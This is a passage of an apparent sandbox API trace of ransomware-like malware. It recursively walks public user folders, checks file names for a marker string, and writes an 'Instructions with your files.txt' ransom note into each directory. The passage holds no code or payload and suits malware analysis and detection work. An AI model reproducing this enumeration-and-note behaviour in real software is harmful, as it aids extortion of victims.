[0132.575] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.575] CloseHandle (hObject=0x110) returned 1
[0132.575] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.575] GetProcessHeap () returned 0x810000
[0132.575] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.575] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0
[0132.575] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Instructions with your files.txt") returned 61
[0132.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Instructions with your files.txt" (normalized: "c:\\users\\public\\pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.575] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.576] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.576] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.576] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.576] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.576] CloseHandle (hObject=0x10c) returned 1
[0132.577] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.577] GetProcessHeap () returned 0x810000
[0132.577] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.577] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1
[0132.577] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV") returned 31
[0132.577] GetProcessHeap () returned 0x810000
[0132.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.577] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\*") returned 33
[0132.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.579] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\.") returned 33
[0132.579] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.579] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.579] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\..") returned 34
[0132.579] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.579] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.579] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\desktop.ini") returned 43
[0132.579] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.579] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1
[0132.579] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media") returned 44
[0132.579] GetProcessHeap () returned 0x810000
[0132.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.579] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\*") returned 46
[0132.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.580] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\.") returned 46
[0132.580] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.580] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.580] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\..") returned 47
[0132.580] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.580] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.580] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini") returned 56
[0132.580] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.580] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1
[0132.580] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv") returned 74
[0132.580] StrStrIW (lpFirst="win7_scenic-demoshort_raw.wtv", lpSrch="SDfghjkl") returned 0x0
[0132.580] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0
[0132.580] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\Instructions with your files.txt") returned 77
[0132.580] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\Instructions with your files.txt" (normalized: "c:\\users\\public\\recorded tv\\sample media\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.584] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.584] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.584] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.585] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.585] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.585] CloseHandle (hObject=0x110) returned 1
[0132.585] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.585] GetProcessHeap () returned 0x810000
[0132.585] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.585] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0
[0132.585] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Instructions with your files.txt") returned 64
[0132.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Instructions with your files.txt" (normalized: "c:\\users\\public\\recorded tv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.590] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.591] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.591] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.591] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.591] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.591] CloseHandle (hObject=0x10c) returned 1
[0132.592] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.592] GetProcessHeap () returned 0x810000
[0132.592] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.592] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
[0132.592] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos") returned 26
[0132.592] GetProcessHeap () returned 0x810000
[0132.592] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.592] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\*") returned 28
[0132.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.592] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\.") returned 28
[0132.592] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.592] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.592] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\..") returned 29
[0132.592] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.592] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.592] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\desktop.ini") returned 38
[0132.592] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.592] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1
[0132.592] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos") returned 40
[0132.592] GetProcessHeap () returned 0x810000
[0132.592] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.592] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\*") returned 42
[0132.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.593] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\.") returned 42
[0132.593] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.593] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\..") returned 43
[0132.593] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.593] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini") returned 52
[0132.593] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1
[0132.593] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv") returned 53
[0132.593] StrStrIW (lpFirst="Wildlife.wmv", lpSrch="SDfghjkl") returned 0x0
[0132.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0
[0132.593] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Instructions with your files.txt") returned 73
[0132.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Instructions with your files.txt" (normalized: "c:\\users\\public\\videos\\sample videos\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.594] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.595] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.595] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
